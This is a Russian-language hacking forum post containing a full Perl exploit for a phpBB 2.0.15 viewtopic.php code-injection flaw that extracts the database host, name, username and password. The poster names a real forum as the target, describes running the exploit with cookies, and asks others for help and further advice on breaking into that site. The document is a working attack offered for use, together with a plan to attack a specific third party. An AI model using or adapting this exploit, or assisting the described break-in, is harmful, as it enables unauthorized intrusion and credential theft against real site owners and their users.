Эксплойт на phpBB 2.0.x

Discussion in 'Песочница' started by Darvin, 2 Mar 2011.

  1. Darvin

    Darvin New Member

    Joined:
    1 Mar 2011
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    Всем привет, возникла проблемка с таким эксплойтом:
    (Суть его получить адрес, название, логин и пароль к базе)
    Code:
    #!/usr/bin/perl
    
    # tested and working /str0ke
    
    #        ********************************************************************
    #       **********************************************************************
    #      ****                                                                 **
    #     ***      ******       *******************                             **
    #    ***    ***   ****   ***********************                            **
    #   ***   ***     ****                       ****      *   ***    *****     **
    #  ***   ***      ***                ***     ***      *  **  **   **        **
    # ***   ***                         ***      **         **   **  **         **
    #***   ***                          ***    ***          **   **  *****      **
    #**   ***                          ***  ****           **   **      **      **
    #**   ***       ***  ***   ******* *******             **  ***      **      **
    #**   ***      ***   ***  **      *** ***              **  **  **  **       **
    #**  ***      ***   ***  **      ***  ***               ***   *****         **
    #**   ***     ***   *** **       ***  ***                                   **
    #**   ****   ***    ****        ***   ***                                   **
    #**     *******    ****   ********     ***********************************  **
    #**         ***                                                             **
    #**        ***                                                              **
    #**                                                                         **
    #**      phpBB 2.0.15 Viewtopic.PHP Remote Code Execution Vulnerability     **
    #**      This exploit gives the user all the details about the database     **
    #**      connection such as database host, username, password and           **
    #**      database name.                                                     **
    #**                                                                         **
    #**              Written by SecureD,  gvr.secured<AT>gmail<DOT>com,2005     **
    #**                                                                         **
    #**      Greetings to GvR, Jumento, PP, CKrew & friends                      **
    #**                                                                         **
    #***************************************************************************** 
    # ***************************************************************************
    
    use IO::Socket;
    
    print "+-----------------------------------------------------------------------+\r\n";
    print "|           PhpBB 2.0.15 Database Authentication Details Exploit        |\r\n";
    print "|                 By SecureD gvr.secured<AT>gmail<DOT>com               |\r\n";
    print "+-----------------------------------------------------------------------+\r\n";
    
    if (@ARGV < 3)
    {
    print "Usage:\r\n";
    print "phpbbSecureD.pl SERVER DIR THREADID COOKIESTRING\r\n\r\n";
    print "SERVER         - Server where PhpBB is installed.\r\n";
    print "DIR            - PHPBB directory or / for no directory.\r\n";
    print "THREADID       - Id of an existing thread.\r\n";
    print "COOKIESTRING   - Optional, cookie string of the http request.\r\n";
    print "                 Use this when a thread needs authentication for viewing\r\n";
    print "                 You can use Firefox in combination with \"Live HTTP\r\n";
    print "                 Headers\" to get this cookiestring.\r\n\r\n";
    print "Example 1 (with cookiestring):\r\n";
    print "phpbbSecured.pl 192.168.168.123 /PHPBB/ 8 \"phpbb2mysql_data=a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0%3A%22%22%3Bs%3A6%3A%22userid%22%3Bs%3A1%3A%222%22%3B%7D; phpbb2mysql_sid=10dae92b780914332896df43808c4e09\" \r\n\r\n";
    print "Example 2 (without cookiestring):\r\n";
    print "phpbbSecured.pl 192.168.168.123 /PHPBB/ 20 \r\n";
    exit();
    }
    
    $serv         = $ARGV[0];
    $dir         = $ARGV[1];
    $threadid     = $ARGV[2];
    $cookie     = $ARGV[3];
    
    $serv =~ s/(http:\/\/)//eg;
    $delimit     = "GvRSecureD";
    
    $sploit     = $dir . "viewtopic.php?t=";
    $sploit .= $threadid;
    $sploit .= "&highlight='.printf($delimit.";
    $sploit .= "\$dbhost.";
    $sploit .= "$delimit.";
    $sploit .= "\$dbname.";
    $sploit .= "$delimit.";
    $sploit .= "\$dbuser.";
    $sploit .= "$delimit.";
    $sploit .= "\$dbpasswd.";
    $sploit .= "$delimit).'";
    
    $sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$serv", PeerPort=>"80") or die "[+] Connecting ... Could not connect to host.\n\n";
    
    print "[+] Connecting      OK\n";
    sleep(1);
    
    print "[+] Sending exploit ";
    print $sock "GET $sploit HTTP/1.1\r\n";
    print $sock "Host: $serv\r\n";
    if ( defined $cookie) {
        print $sock "Cookie: $cookie \r\n";
    }
    print $sock "Connection: close\r\n\r\n";
    
    
    $succes = 0;
    
    while ($answer = <$sock>) {
        $delimitIndex = index $answer, $delimit;
        if ($delimitIndex >= 0) {
            $succes = 1;
            $urlIndex = index $answer, "href";
            if ($urlIndex < 0){
                $answer = substr($answer, length($delimit));
                $length = 0;
                while (length($answer) > 0) {
                    $nex = index($answer, $delimit);
                    if ($nex > 0) {
                        push(@array, substr($answer, 0, $nex));
                        $answer = substr($answer, $nex + length($delimit), length($answer));
                    } else {
                        $answer= "";
                    }
                }
            }
        }
    }
    
    close($sock);
    
    if ($succes == 1) {
        print "OK\n";
        sleep(1);
        print "[+] Database Host:  " . $array[0] . "\n";
        sleep(1);
        print "[+] Database Name:  " . $array[1] . "\n";
        sleep(1);
        print "[+] Username:       " . $array[2] . "\n";
        sleep(1);
        print "[+] Password:       " . $array[3] . "\n";
        sleep(1);
    } else {
        print "FAILED\n";
    }
    
    # milw0rm.com [2005-07-03] 
    
    Жертва - http://www.movingscam.com/forum/

    Версия форума выше 2.0.11 (changelog.html) и ниже 2.0.20 (так как поиск не блокируется по времени).

    Сначала неправильно прописал стринг куки:
    [​IMG]
    Отсюда заметил, что перед тем как перейти на форум, оно требует еще подтверждения, что собственно и хранится в куке под переменной tosid.
    После поправил строку от пробелов и вроде кука подошла, скрипт сказал "работаю", но ничё не вывел.
    [​IMG]
    Дальше разобраться в чём дело не смог в силу скромных познаний в Perl (сроком 1 вечер xD). Посему прошу помощь опытных гуру растолковать, если смогут что и как. Или дать еще какие-то советы по поводу взлома данного форума.

    XSS как я понял отпадает, так как админ там судя по всему раз в год появляется. Префиксы базы походу изменены (не стандартные), так как предложенными способами тут на форуме я их не выяснил (возможно неправильно понял принцип работы самих способов), да и переменные сессии в куке тоже, как видим, изменены.

    Что кто скажет?